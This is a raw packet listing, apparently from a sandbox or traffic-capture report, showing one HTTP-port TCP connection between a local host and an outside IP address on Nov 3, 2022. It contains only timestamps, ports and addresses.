Nov 3, 2022 12:46:55.300741911 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.300813913 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.300858974 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.300899029 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.300939083 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.300978899 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.301022053 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.301019907 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.301063061 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.301075935 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.301105022 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.301129103 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.301147938 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.301189899 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.301218987 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.301233053 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.301273108 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.301295042 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.301314116 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.301356077 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.301381111 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.301394939 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.301436901 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.301450014 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.301477909 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.301517010 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.301544905 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.301559925 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.301599026 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.301610947 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.301640987 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.301682949 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.301714897 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.301722050 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.301764011 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.301773071 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.301806927 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.301850080 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.301855087 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.301891088 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.301930904 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.301945925 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.301971912 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.302014112 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.302015066 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.302054882 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.302095890 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.302118063 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.302138090 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.302177906 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.302190065 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.302242994 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.302306890 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.302309990 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.302362919 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.302403927 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.302418947 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.302445889 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.302488089 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.302496910 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.302530050 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.302570105 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.302573919 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.302612066 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.302650928 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.302658081 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.302691936 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.302731991 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.302737951 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.302772999 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.302814960 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.302817106 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.302860022 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.302916050 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.302934885 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.302978992 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.303020000 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.303035975 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.303062916 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.303108931 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.303193092 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.303236961 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.303277016 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.303283930 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.303319931 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.303359985 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.303380966 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.303401947 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.303443909 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.303446054 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.303483963 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.303524971 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.303528070 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.303565979 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.303606033 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.303608894 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.303648949 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.303689957 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.303694963 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.303730965 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.303774118 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.303867102 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.303910017 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.303951979 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.303965092 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.303994894 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.304035902 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.304043055 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.304078102 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.304117918 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.304152966 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.304158926 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.304202080 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.304218054 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.304245949 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.304289103 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.304305077 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.304331064 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.304373980 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.304399014 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.304416895 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.304456949 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.304471970 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.304500103 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.304541111 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.304570913 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.304583073 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.304627895 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.304641008 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.304670095 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.304711103 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.304744005 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.304752111 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.304794073 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.304811001 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.304841042 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.304882050 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.304899931 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.304924965 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.304966927 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.304979086 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.305010080 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.305049896 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.305080891 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.305090904 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.305134058 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.305155993 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.305175066 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.305216074 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.305223942 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.305258036 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.305309057 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.305314064 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.305380106 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.305440903 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.305588007 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.305634022 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.305696011 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.305727005 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.305737019 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.305778980 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.305788994 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.305816889 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.305819988 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.305886030 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.305891991 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.305952072 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.305993080 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.306008101 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.306035042 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.306077003 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.306096077 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.306119919 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.306164026 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.306166887 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.306205988 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.306246996 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.306256056 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.306288958 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.306329966 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.306339979 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.306375027 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.306416988 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.306425095 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.306459904 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.306503057 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.306512117 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.306544065 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.306583881 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.306596041 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.306624889 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.306664944 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.306667089 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.306705952 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.306747913 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.306757927 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.306790113 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.306835890 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.306839943 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.306875944 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.306963921 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.306966066 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.307010889 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.307053089 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.307065010 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.307092905 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.307136059 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.307136059 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.307174921 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.307215929 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.307223082 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.307255983 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.307296038 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.307312965 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.307337999 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.307378054 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.307404041 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.307420969 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.307462931 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.307471037 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.307503939 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.307543039 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.307584047 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.307584047 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.307622910 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.307636976 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.307662964 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.307703018 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.307714939 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.307744980 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.307786942 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.307806015 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.307828903 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.307869911 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.307898045 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.307910919 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.307951927 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.307984114 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.307993889 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.308042049 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.308845043 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.318784952 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.322428942 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.322479963 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.322597980 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.325992107 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.334471941 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.341813087 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.341886044 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.341928005 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.341959000 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.341969013 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.342014074 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.342015028 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.342056036 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.342061996 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.342101097 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.342140913 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.342150927 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.344425917 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.344475985 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.344501019 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.344518900 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.344563007 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.359872103 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.359936953 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.359997988 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.360049963 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.360061884 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.360129118 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.360135078 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.360204935 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.360254049 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.360270023 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.360337973 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.360384941 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.360399961 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.360466957 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.360519886 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.360527039 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.360594988 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.360647917 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.362226963 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.362307072 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.362370014 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.362381935 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.362437010 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.362487078 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.362502098 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.362575054 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.362631083 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.362638950 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.362701893 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.362745047 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.364612103 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.364665985 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.364706039 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.364739895 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.364772081 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.364804029 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.364835978 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.364867926 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.364898920 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.364931107 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.364962101 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.364993095 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.365025997 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.365058899 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.365088940 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.365122080 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.365164995 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.365195990 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.365237951 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.365236044 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.365274906 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.365281105 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.365322113 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.365329027 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.365362883 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.365403891 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.365425110 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.365447044 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.365488052 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.365499973 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.365530014 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.365571976 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.365580082 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.365613937 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.365655899 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.365655899 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.365699053 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.365740061 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.365751982 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.365781069 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.365820885 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.365828037 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.365864992 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.365906000 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.365906954 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.365947008 CET	80	49704	193.106.191.15	192.168.2.6
